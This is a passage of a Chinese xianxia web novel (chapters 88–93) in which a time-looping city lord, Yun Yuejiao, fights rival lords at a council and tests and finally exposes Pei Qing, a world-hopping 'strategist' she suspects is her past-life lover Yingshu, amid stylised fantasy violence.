“被魔功洗脑的人设”和“杀死云月娇”这两件事是相悖的,到某一个瞬间,他终归是要演不下去的。 他要杀她,她便给他机会。 他设下多少陷阱,她就亲自去踩多少。 他说前方山穷水尽,她就倍道兼进长驱直入。 她自寻死路来到了三十六城联议,为的就是哪怕只有一个瞬间,也一定要看到他原形毕露、丑态尽出的一幕。 “此番三十六城联议在周城举行,周城是主,你是客。身为客人怎么能直接将仙门开在城主府内?!” “这成何体统?太不知礼数了!” 云月娇淡淡地望了过去。 …… 说起这周城城主,云月娇倒是与他交情颇深。 荒城地处极河以北,属天上城朔方。 主打一个资源稀少,财富全靠掠夺。 第两千两百七十三次回溯后的重开,也就是这一世,当时云月娇刚刚杀了她的那对心里只有盛伦的双亲,走漏了荒城只剩下她一个孤女坐镇的风声,邻近的城池闻风而动,纷纷出兵讨伐。 周城不在北部,恰好在极河以南一点的位置。 听说上边打得热火朝天,也搞了个暗度陈仓,想要鹬蚌相争渔人得利。 周城来了五千天兵天将。 被她杀剩下五人。 当时就是在这广殿。 把那剩下的五人杀掉后,那周城城主跪姿标准地匍匐在她跟前,无比真诚地告诉她是他想要见她一面,所以才派了那五千天兵天将给她小试牛刀。 说他渴望成为荒城的隶属城良久,今日只愿求得一个机缘,侍奉她老人家。 她当年全了他的心愿。 只可惜这些年来,她忙着杀攻略者,好像和这周城城主的关系淡了不少,都没人知道他们往日的那些情分了。 要不然怎么会总有人赶着上来鸡蛋碰石头。 “荒城城主又如何?三十六城联议本就是城主议事,如今在场的二十九位城主皆是极负盛名的大人物。” “岂轮得到你一个晚辈放肆!” 极负盛名的……大人物。 云月娇打了个冷笑。 她一眼扫过去,好些个与她交情匪浅的极负盛名大人物低头的低头,别开视线的别开视线,跟个鹌鹑似的。 也就这个满脸义愤填膺、不知道哪个城的新晋城主,许是看她柔弱可欺,很好下手,想拿她开刀给自己在众城主面前长脸了。 想法很好。 但对象选错了。 云月娇没有给过他一个正眼,反而是微微偏头,问急步赶到的周城城主: “小周,这位是?” 周城城主尚在拍袖,说话之人已更是怒不可遏。 “你区区一个不过百岁的小辈,怎么敢如此称呼周城城主?!” 云月娇抬了抬手,身后的江凌霄顿时面目狰狞地冲了上去。 他快,有道黑影比他更快! 云月娇的手尚未落下,裴青已经走完了整整一圈,回来后手上还多了颗内丹。 他双手鲜血淋漓地奉上金丹之时,恰好追上了那新晋城主砰声倒地。 广殿足有一顷。 却霎时间鸦雀无声。 云月娇垂眸看似在看金丹,视野里全是裴青。 哪怕是在这三十六城联议上……能看清他方才动作的人也应是不多。 她未解开封印,只能隐隐约约瞧见了些残影。 他这番身手要是来暗杀她,难也不是太难。 可偏偏此刻像只被洗脑的乖狗,十分温顺地半跪在她跟前,好像生剖别人内丹的人不是他一样。 云月娇不禁轻声笑了,之后别开视线,眉目如画,风姿绰约: “想杀就杀了,没意见吧?” 广殿依旧寂静无声。 生剖内丹不会即时致死,云月娇缓步走到那新晋城主跟前,俯瞰过去只觉得像条奄奄一息的鱼。 “叫他小周……怎么了?” “当年我肯愿意给他这个辈分……还是他哭着喊着求来的。” 一想起前尘往事,云月娇的神色愈发柔和。 “那会周城率五千天兵天将邀我到来,跪求我说要成为荒城的附属城,周城是他的,他和周城都是我的。” “如今……我只是回自己家,又需要什么礼数呢?” “小周,你说是吗?” 周城城主不答。 他抿嘴垂眸,只看着足尖前的一尺地。 云月娇不多在意。 她杀鸡儆猴,收下了非要送上门来的新城主印,擦拭指间之际寻到了本该是属于周城城主主人家的上位,尚未坐下,又有人来找事。 听口气,那人像是终于忍无可忍。 “云月娇,适可而止吧。” “三十六城联议可不是你可以放肆的地方。” 声音倒是有几分熟悉。 云月娇坐下懒懒抬眸望过去后果然看到了个熟人。 两千两百七十三次的重开将时间往前推了不少,早到身为盛伦的后宫之一、雍城城主之女的夭轻轻还没有来到荒城,因此她也没有机会杀她。 如今在夭轻轻的记忆里……恐怕她云月娇只是个一心爱着盛伦,对他爱而不得的可笑女人。 她夭轻轻身为盛伦的恩人,自然高她数等,要不然怎么会连说话的口吻都狂妄不知轻重。 云月娇轻哼时挥了挥手。 夭轻轻面前桌上的茶杯顿时连水甩在了她的脸上! 托腮看着她反应不过来的愕然神色,云月娇笑笑道: “你算是什么东西?” “让你父亲来跟我说话。” 她云月娇是荒城之主。 拥神格九品,是天上城有记录以来最年轻的城主。 下位城主见了她都要恭敬低头。 夭轻轻不过是区区城主之女,没了小说的加持,连给她提鞋…… 她都不配。 88 第88章 ◎觉醒女配拒当后宫的第十三天◎ 云月娇打狗向来不看主人。 狗乱吠,当打。 打了还吠? 那就连着狗主人一起打。 夭轻轻的爹是雍城城主,雍城乃是天上城中部霸主。 能当上霸主的,那都是比千年王八还要老的老东西。 看他一副老成持重,连爱女受辱都没什么反应,云月娇本以为今日这雍城城主是挑不成了的,却不想像他这种识大体的体面人一开口…… 真是连牙齿都想给他打烂。 “只要你今日能请出盛伦,我们可以不对你兵戎相见。” 云月娇硬是生生被他给逗笑了。 盛伦如今可是在她的手里。 这些人向她索要她的东西,怎么能如此理直气壮? 云月娇:“是不是老到一定程度,便都会像你们这样死不要脸了?” 雍城城主的额角猛地跳了下,脸上终于有了愠色。 至于夭轻轻许是觉得她不想交人,于是又开始恶心她了。 “盛伦他就是不喜欢你!无论你把他困在身边多久,他都永远不可能会爱上你——” 云月娇:“准你说话了吗?” 云月娇勾了勾食指,夭轻轻的舌头顿时像被铁钩勾住,她拼命挣扎,却只能发出呜咽声,满嘴的血腥味越来越重。 江凌霄见此还不解气,他指着夭轻轻的鼻子就开始骂: “什么垃圾货色也敢来评论我们城主?!” “你怎知盛伦喜欢谁?他怎么可能不会爱上我们城主?!他爱上城主大人一千一万次,都绝不可能爱上你这么个破烂玩意儿!” 夭轻轻何曾受此侮辱? 脸色是一阵红一阵青一阵白的。 她的城主爹不为她声张,自有赶着上舔中部霸主的人为她开口。 连带着“交出盛伦!”的附议施压,像海浪一样层层涌来。 唯独云月娇安如磐石,不动摇分毫。 “一个二个都说让我交出盛伦……可这世上已经再也没有盛伦了。” 见他们不信的不信,变脸的变脸,云月娇十分坦荡地摊手: “你们若是不信,不妨来我荒城搜上一搜。” “城门我可以让你们随便进,只不过走的时候……” 云月娇换了个更舒服的姿势,望下去的眸光阴沉幽森: “恐怕就没有那么好走了。” 雍城城主脸色一沉:“不知好歹!” 云月娇:“这怎么不算是打扫垃圾呢?” 她啧啧两声摇头叹息:“只要我能请出盛伦,可以不对我兵戎相见。” “可是你们想要握手言和息事宁人……” “是不是也该问一问我愿不愿意呢。” 怎么能不打呢? 难得她亲身下场来给裴青做局,哪怕天塌下来了,都一定要打的。 不是必死局吗? 她是真的真的很想知道,他苦心为她设计的…… 到底是个什么样的必死法。 云月娇话音方落,她斜后方的两道身影便猛冲了出去。 “……” 快得像是狗一样。 …… 云月娇对正道中人算是很了解了。 他们最爱走程序。 打照面首句话必定是声中气十足的厉呵,接着就开始说屁话,仿佛说完之后他们便能在道德至高点上立定脚跟,之后做什么干什么,就全是出于正义。 云月娇不想污染自己的耳朵。 因而三十六城联议分明是声讨她的集会。 第一个动手的人,反倒是她。 裴青以天启之名拉帮结派,找来了这么多人。 虽说最后终归是要给盛伦作配,但没点野心,没点实力的人当不上天帝的候选。 他们有备而来,谈不拢就杀。 要是想趁乱动手浑水摸鱼,没有比这更合适的时候了。 可在当下这大好时机,那个最有实力杀她的人…… 却在杀别的人。 云月娇就算眯起眼睛,也看不透裴青。 此刻她八面受敌,他怎么也该来个釜底抽薪。 万万不该像洗脑了的江凌霄一样,仅她一个示意,便发了疯似地猛冲出去,张嘴咬向蜂拥而至的劲敌。 哪怕他非要维持人设,也该要有个度。 怎么能跟不要钱似的,系统的道具全往外边扔? 就连那些杀敌一千自损八百的烂招式……也全给用上了。 要是他真的折在这了,他还怎么来杀她? 云月娇想不明白。 怎么想都想不明白。 当实在烦不过了,她终于忍不住动身把裴青抓回了自己的身边,揪着他的衣领质问他: “这些人可全都是给你召来,你跟他们打……你伤了他们也伤了,那我呢?谁来杀我?” “裴青,你到底几个意思?” 她看到他愣了愣。 然后垂眸说了声对不起。 他没有看她,睫毛轻颤像是蝶翼扇动。 “我曾经的确想要杀你。” “但现在……” “我真的只想着要怎么救下你。” 说完,他苦笑了下,然后向她伸出了手。 云月娇下意识觉得他是要对她动手,正着手解开封印防下他的杀招,却不想裴青只是推了她一下。 等她反应过来,一把来自她身后的剑已经穿透了他的肩胛骨。 刹那间,云月娇眼中的世间万物恍然都变得很慢很慢。 余光里,溅向她的血珠停在了半空。 她眼前的裴青脸色苍白却带了淡淡笑意,被定格住的那一眼怅然苦涩。 于是云月娇忽然就想起了。 想起了前世黑衫佛子推开她,只身迎向穿心剑时…… 情深不寿的那一眼。 下意识的本能快过了意识。 等云月娇意识到了的时候,她的指尖已经抠破了胸前的皮肤,把卡在心脏上的那一节远古魔神的指骨取了出来。 余光中披在肩膀的发丝一瞬变成了金色。 那只持剑刺穿了裴青肩胛骨的手,在她眼前被她捏爆成了血花。 裴青:“……娇娇?” 云月娇怔怔地看着被鲜血染红的十指,她好像知道自己为什么会这么做。 “以前我只是一介合欢宗的女修。” “他差点死在我眼前的时候,我对力量的渴望冲到了顶峰。” “他为了救我受的致命伤……留下了很严重的后遗症。每每午夜梦回的时候……我无数次地想要救他,想要改变那一天、那一个瞬间的结果。” 下意识的本能快过了意识。 是因为她过去曾在脑海中无数次地重现他受致命伤的那一天、他的心脏被刺穿的那一个瞬间。 她对黑衫佛子恨之入骨。 是因为她过去……曾经真的很爱他。 89 第89章 ◎觉醒女配拒当后宫的第十四天◎ 云月娇决定最后一次试探裴青了。 她等了这么久,忍了这么久,连她自己都觉得像是个小丑在自导自演。 就算觉得不甘心……可云月娇不想永远陷在这种没有意义的求证环节。 所以试探裴青…… 这是最后一次了。 云月娇:“一旦被远古魔神的指骨重新封印,我就会即刻进入虚弱状态。” 云月娇:“尤其是在封印的瞬间,那是我最没有防备的时候,任是谁来都能重伤我。” 云月娇直视裴青的双眼,话音近乎一字一顿: “裴青。” “不要辜负我对你的信任。” 她的目光紧紧锁定在他的脸上,不想错过任何的风吹草动。 然而直到最后他听完她的话,也没有露出分毫破绽,甚至凝重地点了点头后,还向她沉声请罪: “若有万一……” “请原谅我死在你的前面。” …… 对裴青说的话倒也不全都是假。 云月娇解开封印后确然见人杀人,遇神杀神。 但那神凰金血、十五月华的滂湃灵力哪里是那么好消受的。 没了魔神指骨的压制,每一秒皆犹如万蚁蚀骨,恨不得抓心挠肺,把每一根骨头抽出来磨平了才好。 即使再被封印,那疼痛仿佛印刻进了骨髓,在梦里都会痛,再加上一瞬间力量得失巨大落差形成的亏空…… 每经历一回,人像是从鬼门关走过了一遭似的。 云月娇不怕裴青知道。 这些天……她已经深有体会,对裴青来阴的只会气死自己。 因此倒不妨光明正大地告诉他: 机会就在这里。 你看你是动手,还是不动手。 被远古魔神的指骨重新封印的瞬间……虽不至于真的像是云月娇口中说的那么弱,可为了看上去可信度会高一点,她用了点心。 三十六城联议上,她把到场的二十九位城主全数硬刚了个遍。 把江凌霄捞了出来,最后逃出周城很远,才像是精疲力竭、强撑不下去了似地将远古魔神的指骨卡回了心脏的缺口。 她的发色瞳色顿时恢复原貌。 整个人也像是化掉的黄油,直接软了下去。 那分明是前所未有的最适合杀人的时机。 只要裴青动手、在那一瞬间暴起发难,任是她云月娇也做不到全身而退。 可是…… 他没有。 他甚至心痛难忍地弯腰将她抱起,对她说了声辛苦了。 “接下来就交给我吧。” 当从裴青平静的声色中恍然听到了随时把命豁出去的觉悟,云月娇不可免地感到了遗憾、恍惚。 还有点空虚。 因为她开始有了裴青真的被魔功洗脑了的实感。 他有可能……真的不是他。 …… 云月娇没有回荒城。 因为裴青说荒城城民恨她嗜杀成性残暴不仁,对她积怨良久,忠诚于她的支持者此时已被控制,余下的皆是叛徒,只等她回去一个瓮中捉鳖,夺走她的城主印取而代之。 云月娇无所谓真真假假信或不信。 既然裴青这么说,她便顺应他去那么做。 最后一次试探裴青的期限,是在她彻底恢复的那*一天。 至于江凌霄……他已经废了。 云月娇嫌他碍事,于是让他拟态成虫子放进了兜里。 以便事态不对,随时捏死。 逃离周城后的日子……倒很像是前世她中了情毒、魔功散尽后被修真界众人追杀,被黑衫佛子拽着满地图跑的那段时日。 没有人不想杀她。 天地广阔,却好像找不到个藏身之所。 她与他相依为命,每一分每一秒,每一个瞬间都在一起。 要说有什么不同的,便是如今云月娇知道裴青是攻略者。 于是瞧见坐在墙根的他脸白唇裂,一副战损小狗的样子,也不知道是想让谁看到心疼,云月娇半点不动摇,甚至冷笑一声。 “装什么呢?你的道具呢?” 裴青苦笑了下。 “我没有积分了。” 云月娇:“没有支线任务做吗?” 裴青默了默,才慢吞吞道:“……你还真是了解。” 见他无语云月娇反倒开心了。 禁不住立马扬了下眉,挑衅道:“叫你的系统给你发布点支线任务。” “……” 裴青深深看了她一眼,眼底的苍凉悲哀一时无比露骨。 “你既然知道积分知道任务,那也应该知道……到这个时候我已经是弃子,系统不会再理我,更遑论给我发布任务。” “结果到头来……你还是不信我。” 云月娇不吭声了。 裴青说得没错。 即便他通过了她最后一次的试探,即便他真的不是黑衫佛子,她也不可能信他。 她上过一次当,吃过一回血亏,信不过任何一个攻略者。 无论是谁,只要是攻略者,她就绝对不可能把他放在身边。 于是面对裴青凄怆目光苦情神色,云月娇只是怪笑一声,脱口而出的每一个字眼都冷漠绝情。 “活人没有信用。” “我只信得过死人。” 云月娇说这话时确然没有想到。 就在五天之后,她恢复在即,这个本该拉着她同归于尽的攻略者…… 竟会为她而死。 90 第90章 ◎觉醒女配拒当后宫的第十五天◎ 虽说是在逃亡,但云月娇好像也没过过多少的苦日子。 狗跟裴青比不了的,就是没他会伺候人。 倘若非要说有些什么觉着膈应……那无非是裴青总趁她不注意,偷偷看她。 那视线沉默而又压抑。 犹如深海暗潮下的波涛汹涌,多是她看不懂的浓烈情绪。 让人下意识觉得他……好像藏了很多秘密。 三十六城联议前的前十日云月娇忍得太痛苦,如今是怎么都忍不下去了。 因而每次她望过去,高调地抓裴青个正着时,总要露骨讽刺: “怎么?在想着怎么折断我的脖子?” 也不知怎么,他答话时的口吻一天比一天更要像那黑衫佛子。 连那含笑眼神都渐渐变得如出一辙。 “不是。” “那我如何舍得?” 云月娇翻了个白眼:“装。” “我是说真的。” 云月娇:“那你干嘛老盯着我看。” “想太久了,好不容易见到了,自然要多看几眼的。” 云月娇被他一句话定在了原地。 她再次望过去时,三尺之外的他目光悠远,仿佛隔了千山万水,才重新来到了她的眼前。 霎时间,云月娇心中不由泛起丝丝奇异感。 黑衫佛子的名字下意识脱口而出: “……英殊?” 可到这时,裴青却又笑着对她说: “我不是他。” …… 云月娇本以为自己不用忍了。 可发现裴青的三言两语就能动摇她,她意识到自己还得再忍一段时日。 她打定主意,不管裴青说什么做什么,她恢复之时,最后一次的试探就随之结束。 期间若他动手杀她,那便证明他没被洗脑,他板上钉钉是黑衫佛子那个贱人。 若他不动手,那他便是真的被洗了脑,他的利用价值和他的积分一起清零,直接杀掉,一了百了。 云月娇决意不再听王八念经。 可那该死的死王八非但不寻机下杀手,反倒一天比一天装神弄鬼: “娇娇,你觉得这样真的好吗?” “你会因此觉得幸福吗?” “尽管你时不时会笑,但我总觉得……你的眼里好像从来没有过笑意。” “你真的快乐吗?” 前四天云月娇逼自己左耳朵进右耳朵出,然而到了第五天,她迎来了大爆发: “你到底想干嘛?!给我说人话!!!” 到这个时候,裴青也突然不演他苦情痴情的人设了,捂着他被她揪住的耳朵哇哇喊痛。 直到痛麻木了,他的气才顺过来一点,小心看她的眼睛里覆了一层淡淡的水光。 “我想赎罪。” 云月娇愣住。 “……赎罪?” 她不知不觉间加大了力道,但直到把裴青的耳朵掐出了血,他也没有再喊过一声痛。 云月娇的声线开始有了轻颤:“你做了什么……要向我赎罪?” 可这回他却不回答了。 他只是用那沉默又压抑的目光看着她。 让人窒息。 云月娇有些受不了了。 她发疯似地扇他打他,咆哮一声盖过一声。 “你为什么不开口?你说话啊——!” “你每次都用那个人的语气口吻对我说些模棱两可的话,到最后又告诉我你不是他!” “你到底想怎么样?” “你是觉得玩弄我,看着我发疯很好笑是——” 云月娇的声音冷不防断了。 因为那个被她又打又骂的人突然变得强硬,她下意识感觉他应是被揍得忘了人设、失手反抗,却不想当他的阴影笼罩住她时…… 他低头吻了下她的额头。 还说:“对不起。” 云月娇恍惚。 他的那一声对不起装满了太多的亏欠歉意,恍然他下一秒便会将杀她的武器插进她的胸膛。 ……裴青果然动手了。 他也不知道对她用了什么道具,她一瞬间被钉死在原地动弹不得,还越来越重,身上恍然长出了龟壳。 她冷冰冰地注视他,他却毫无心理负担地笑了下,满不在意地将一个乾坤袋塞进了她手里。 “这是什么?” “我剩下的道具。” 云月娇被他的回答气笑。 火气上头,她的眼神更加冰冷,口中道出的每一个字眼都有股咬牙切齿的滋味。 “你倒真是大动干戈。” “生怕用道具杀不死我,还把夭轻轻给引来了。” 裴青偏了下头,余光正好捕捉到夭轻轻的身影。 他愣了下,没有辩解,只是抓紧时间对云月娇说出最后的话。 他的眸光一如既往的深沉压抑,却又仿佛带着几分释怀解脱。 “娇娇。” “攻略者能做到的事情太少太少。” “陪你走到这一步我已经用尽了全力,接下来的路……恐怕我不能陪你走下去了。” “无论是毁掉攻略,还是男主系统部门,不管是什么……” 他微微笑了。 声音温柔却有力。 “我相信你一定可以得偿所愿。” 云月娇忍不住皱起了眉头。 她刚想说些什么,裴青却已经背过了身,他以守护者的姿态立于她的前方。 晚风将他呢喃一般的话吹到了她的耳边,等她回神,已是白云苍狗,海沸山崩。 “你那天走得太急太早,所以不知道。” “我没有抛下你。” “也没有食言。” 他回眸时背照火焰。 那一眼,像是在夜空升起的烟花,转瞬即逝。 “娇娇。” “你死的那天……” “后来我其实也跟着你一道去了。” 裴青杀掉了夭轻轻。 杀掉了她带来的所有的人。 可终究双拳不敌四手。 这个本该是要和她杀个你死我活、鱼死网破的攻略者…… 与她的敌人同归于尽了。 最后…… 死在了她的眼前。 90-100 91 第91章 ◎觉醒女配拒当后宫的第十六天◎ 云月娇其实并不是很想去回忆前世的事情。 尤其是她死的那一天。 那一天的细节已经说不大清楚了。 她只依稀记得那天最开始的时候,确实是很平常差不太多的。 一如往常的风和日丽,晴空万里。 阳光从窗沿掉进屋里,树上燕雀啼鸣之间,穿插着她和黑衫佛子的斗嘴抬杠。 其实那本该是像过去数千个日夜一般,普通的平凡的寻常的一日。 本该平静安稳地开始,平静安稳地结束。 只是…… 千不该万不该,一心复仇的天命之子不该在那日杀上门来。 千不该万不该,黑衫佛子的心魔不该在那天现身。 千不该万不该,又恰巧被她偶然撞见。 其实云月娇知道,这世间也没有那么多的偶然。 她所遭遇的一切,全是他的苦心设计。 就连那一天…… 都是他在进入攻略世界之前,便早已为她设定好的终日。 “反派女配月明枝已按计划死在男主手中。” “你的任务结束了。” “现执行脱离程序。” …… 云月娇作为月明枝而活的那一世很弱。 尤其魔功散尽以后,任是谁都能往她身上踩上一脚。 因此在与为复仇而来的天命之子重逢、冷不防撞上视线的那一个瞬间,云月娇就知道自己绝对活不了。 坦白说,从成为魔修的那一刻,她便清楚自己的下场肯定不会好,无论是被人杀死,还是遭到魔功反噬而亡,她都早有预见。 她不怕死。 也不怕疯魔。 可她怕黑衫佛子受她牵连。 怕天命之子迁怒于他,要斩尽杀绝。 所以连最不屑的感情牌都打出来了,她用尽千方百计,才从天命之子的手下死里逃生。 从在一打照面的瞬间便理应当场丧命的必死局面,硬是抢回来了半口气。 当时拼着最后那半口气,云月娇疯往回赶。 不是要东山再起。 她仅仅是为了去给黑衫佛子通风报信,就连那些让黑衫佛子赶紧走,有多远滚多远,来日戒了酒肉,去做个好佛子的话都到了嘴边。 然而在她看到他的瞬间,所有的话都卡在了喉咙眼。 其实说起来……倒也是很神奇的。 人可以因为别人而变得坚不可摧百折不挠。 同样也可以在刹那间分崩离析一触即溃。 前世的云月娇爱干净要体面,有生以来第一次不顾形象用了遁地术,却是正好撞上了黑衫佛子的心魔说的那些话。 什么反派女配…… 什么任务脱离…… 黑衫佛子说那个和他一模一样的人是他自己的心魔。 却从来没有想过,自己的心魔又怎能被旁人看得到。 云月娇不信他。 月明枝信不过他。 那一瞬间被骗的愤怒迸发出了前所未有的力量,魔功非但失而复得,还更上了一层楼。 虽然时间很短,但她肯定是走火入魔了。 否则怎么会像个疯婆子似的,一掌直接扣住了心魔的后脑勺,侵入了他的意识海,强行看完了他的所有记忆。 小说……攻略……修正…… 直至今生追忆往昔,云月娇才陡然惊觉往事居然全部按照黑衫佛子最初的计划发展,算无遗策,毫厘不差。 如果非要说他哪件事算错了…… 便是她在那天定会死在男主手里。 那一天,云月娇粉碎了他完美的攻略,完美的小说。 当天命之子赶到,当着黑衫佛子的面…… 她选择了引爆元神自焚而亡。 就像裴青今夜那样。 她在大笑声中,化成了灰烬。 …… 其实说起来……在前世的最后一天,一切都发生得太急、太快。 小说男主突然杀到了她眼前,她突然得知了世界的真相、意识到自己上当受骗被人玩弄于股掌之间,紧接而来的是自爆、自焚。 那时她的眼睛里隔了泪光和火光,只隐隐约约瞧见了个黑衫佛子的轮廓,好像从来也不知道他究竟是怎么想的。 她听得太片面,全是心魔的一面之词。 看得也全都是心魔的记忆。 她不知道在她死后究竟发生了什么。 就连如今一个像极了黑衫佛子的攻略者对她说,他没有食言,没有抛下她,她死的那天,后来他其实也跟着一道去了……也无从对证。 前世云月娇气得失去了理智。 但如今冷静下来后……她的确很想亲口问一问他,当时到底发生了什么,她死之后又发生了什么。 可如今裴青已死。 任是她也没办法让死人开口。 垂眸静静凝视着一动不动的尸体…… 云月娇沉默地捏碎了揣在兜里的虫子。 92 第92章 ◎觉醒女配拒当后宫的第十七天◎ 之所以决定要逆转时间,回到裴青还活着的时候。 是因为云月娇突然有很多问题想要问他。 问黑衫佛子。 比如说……前世的黑衫佛子到底是怎么想的,当意识到她得知真相的那一刻,他其实在想些什么。 而在那一刻发生之前,他其实是不是一直在她看不到不知道的地方,与那个据称是心魔的灵体暗中密谋。 是不是他曾经对她说过的所有漂亮话,许下的所有承诺,不过都是为了符合场景需求而信手拈来的花言巧语,全都是攻略所需。 攻略是不是真的比他的命还重要。 他对她,是不是真的全是攻略而已。 如果真的是那样…… 在月明枝死前的最后一刻、熊熊燃烧的时刻,他为什么要冲过来? 他是在气她毁掉了他完美的计划,还是真如裴青所说…… 他死在了她的后面。 云月娇知道所有的答案都不会有任何意义。 不管他回答是或不是,其中有多少苦衷内情,其实都改变不了什么。 她恨了这么多年。 早就已经停不下来了。 云月娇有那么多那么多的问题想要问黑衫佛子,但对裴青,她的问题只有一个。 她想问他…… “你,到底是谁?” 当揣在兜里的虫子化成了烟灰,云月娇迎来了第两千两百七十三次的回溯。 她回到了一天之前。 回到了裴青还活着的时候。 便在这瞬间—— 发生了本来不曾发生的事。 只见有两把飞刀一前一后从裴青手中射出,分别朝着她的脖颈和装着虫子的袖口飞来。 于是刹那间,云月娇豁然开朗,茅塞顿开。 觉得仿佛有一根线,把所有细小的细节全部穿了起来,让所有问题全都有了答案。 于是愤怒顿时像喷发的火山一样,一发不可收拾。 瞬息之间,连远古魔神的指骨也再难以压制神凰金血十五月华的滂湃灵力,强劲的风压将周遭的一切碾压成粉碎! 云月娇也在这瞬间爆发出惊人的速度和力量。 闪现一般,她猝然出现在了裴青的跟前,爆出青筋的手掐住了他的脖子,死死地把他按进了砂石地里! 死死盯着背陷进沙地三寸的裴青,云月娇气得连声音都在发抖。 “我是说……明明我都已经给你这么多机会了,你怎么就是不肯动手。” “原来兜兜转转这么一大圈……全都是为了盛伦!” 她字字咬牙切齿: “英殊,可真有你的。” 一滴金血掉在了裴青那张镇定冷情的脸上。 云月娇微怔,下意识摸了摸脖子。 指尖湿热黏腻。 是她的血。 “……” 见血了。 …… 对云月娇来说,盛伦这个人他确实有些重要,但又好像没有那么重要。 否则当年也不会一结束两千两百七十二次的溯回,她把他变成砖块丢到城主府的正门口后,转过头就给忘了。 后来之所以再想起…… 是因为攻略者炸了她的城主府。 云月娇遇到的所有攻略者都把盛伦当成了宝。 他们上刀山下火海,绞尽脑汁闯入荒城禁地,好像一致认为盛伦会在最隐蔽最安全的地方,所以从来没有往正门口的砖看过一眼。 他们也不相信她会把盛伦放在他们眼前。 所以后来盛伦以江凌霄的身份开始活动,也没有任何一个人认得出来他就是盛伦。 裴青也是一样。 他没有找到盛伦。 起初云月娇以为他找人的声势式微,是因为他把精力主要放在了伏杀她的计划上。 却不想…… 他屡次遇到机会却不下手,对她装苦情装深情的人设,到三十六城联议,他布下了这么大一个局,忍辱负重委曲求全蛰伏隐忍至今,甚至不惜赌上了自己的性命…… 全都只是为了找到……区区一个盛伦。 云月娇禁不住放声大笑! “你等这一刻一定等很久了吧?!” “我上一秒刚掐死盛伦,你下一秒就朝我甩过来两柄短剑……”云月娇加大了手上的力道,裴青那张理智镇静的脸上才终于出现了点吃痛的反应。 她笑了,笑中依然是满满的恨意:“是不是从你遇见我开始的每一次呼吸每一次眨眼都在等待这个瞬间?等待第两千两百七十三次的回溯?!” 他不说话。 云月娇自是懂了。 她打了声冷笑:“怎么?如今撕破脸皮,你是连一句应付我的话都不肯说了?” 见裴青还不肯开口,一心一意想着要怎么绝地反杀带走盛伦,云月娇抬了抬手,那把最初射向她的短匕自己飞了过来。 她顺势接住后,眼睛不眨一下地直接扎进了裴青的手腕!白刃完全没入,只剩下个剑柄,竟是硬生生把他钉进了砂石里! 云月娇:“给我说话!” 当疼痛到难以忍声,裴青缓过呼吸后,终于开口了。 “你想我……说什么呢?” 云月娇:“……” 黑衫佛子确实是有这个本事的,放眼全世界也就他一个人,能一句话就把她气得想毁天灭地。 云月娇强迫自己松了松手,免得裴青话没说两句就被她掐死,而虽然减了力道,她的眼神却变得晦暗阴郁。 “你何不早说你是为盛伦来的?” “只要你肯承认一句你是英殊,盛伦的下落我怎么会不告诉你?” “白害我猜来想去,糟了那么多的罪!” 然而让云月娇没想到的是…… 事到如今,他们撕破脸皮兵戎相见,裴青却依然在否认: “我不是那个人。” 云月娇:“你还想……” 他打断了她的话: “我之所以可以抵挡你的魔功,是因为我用积分兑换了佛修的功法。” “我本名确实不叫裴青,但也绝不是你口中的英殊。” “我过去曾经历过六十九次的攻略,没有一次能与你口中的经历对号入座。” “正如你所知,我只是为了找到盛伦才布下了这个局,我得到的关于英殊的所有信息,全部皆来源于你的透露。” 裴青他眸光清明,眼神锐利,一字一句如同冰刀。 分明跟黑衫佛子半点不像,可云月娇总觉得…… 要是那个黑衫佛子揭开了全部虚伪的伪装之后,必定就是这个模样。 一心只有攻略。 为了攻略能睁开眼睛说瞎话。 裴青:“云月娇,我只能给你一个答案。” 裴青:“我不是他。” 裴青:“不管你问我多少遍,我都不可能成为你认识、你想见的那个人。” 93 第93章 ◎觉醒女配拒当后宫的第十八天◎ 原来人气到极点时真的会笑。 云月娇一路压着火气听裴青说那些不像样的话,看他装模作样煞有其事,装不下去了还要硬装,好像真的打算要装到底了…… 那句“不管你问我多少遍,我都不可能成为你认识、你想见的那个人”过后,她禁不住仰头大笑。 她算是知道裴青心里在打些什么鬼算盘了。 他想杀她。 但很显然,他现在杀不了她。 所以他左一句不是,右一句搞错了,不过是请君入瓮,想逼她自爆弱点,引火烧身。 弱点? 她自然有弱点。 一旦她忍无可忍,神魂离体,侵入他的意识海去看他到底是人是鬼…… 那便是随便来个敌人,都能杀死她。 云月娇怒极狂笑:“哈哈!好你个裴青!这世上真是再无人能比你更狠更绝!” “先有以自己性命做注,去赌一个盛伦的下落。” “现是拼着一朝痴傻的风险,也要涉险杀我……这世上真没有你做不出来的事了!” 裴青张口似想说话,但云月娇没有给他这个机会。 她虎口用力向上一抬便让他的嘴紧紧闭住! 她盯着他的目光阴郁如风雨将至。 云月娇:“英殊。” 云月娇:“你总是对别人狠对自己更狠,好像这天底下所有事情都在你掌控之中。” 她紧扣住他脖子的手终于完全卸下了力,纤弱皙白指尖轻抚过乌青的抓痕,她字字温柔入骨,声声如若清风。 “不过从现在开始……” “不会再有任何一件事情……能如你所愿了。” 话落,云月娇主动入局。 便是在她神魂分离的那一瞬间,四周的黑暗猝然涌动,无数杀机如同倒放的烟花一拥而上。 惟云月娇不动分毫,她的神魂形如一把刺刀单刀直入地侵袭了裴青的意识海! 余光最后的景象…… 是裴青微愕的神色。 以及…… 从天而降的周城城主。 …… 云月娇本以为自逃亡以来的连日劳累和负伤,怎么也该削弱了裴青的意志,她遭到的反抗不会那么强烈。 可她的神魂一冲进来,便觉得自己像是撞上了块钢板。 云月娇没那份好心思跟他软磨硬泡,也不管他醒来后会不会变成傻子,直接火力全开横冲直撞。 就这么靠着暴力蛮力,云月娇生生撞开了他的防区。 钢铁牢笼的外头…… 是浓雾弥漫的灰色平原。 云月娇的到来掀起了一阵强风,当散开的浓雾重新聚拢,一道机械电子音在她的耳边响起。 【欢迎您来到4号攻略世界。】 【祝您攻略成功,攻略者“英殊”。】 …… 倘若不是如今亲眼看过,其实云月娇不会信。 不会信裴青的话中原来只有一句是谎言。 她本以为“我本名确实不叫裴青,但也绝不是你口中的英殊”是他对她撒的第一个谎。 却从来没有想到—— 这竟然会是唯一一个。 他说自己可以之所以抵挡她的魔功,是因为用大额积分兑换了功法,这是真的。 至今为止的步步为营全是为了找出盛伦,这也是真的。 即便是那句他曾经经历过六十九次的攻略,但没有一次与她的经历对号入座,也无可争辩。 因为云月娇知道,她是他的第七十次。 她前世的月明枝,是英殊的第七十次攻略。 然而在裴青的记忆里…… 她却找不到他身为黑衫佛子的那第七十次攻略。 那段记忆就像凭空消失了一样,不留痕迹地被从记忆中剔除了出去。 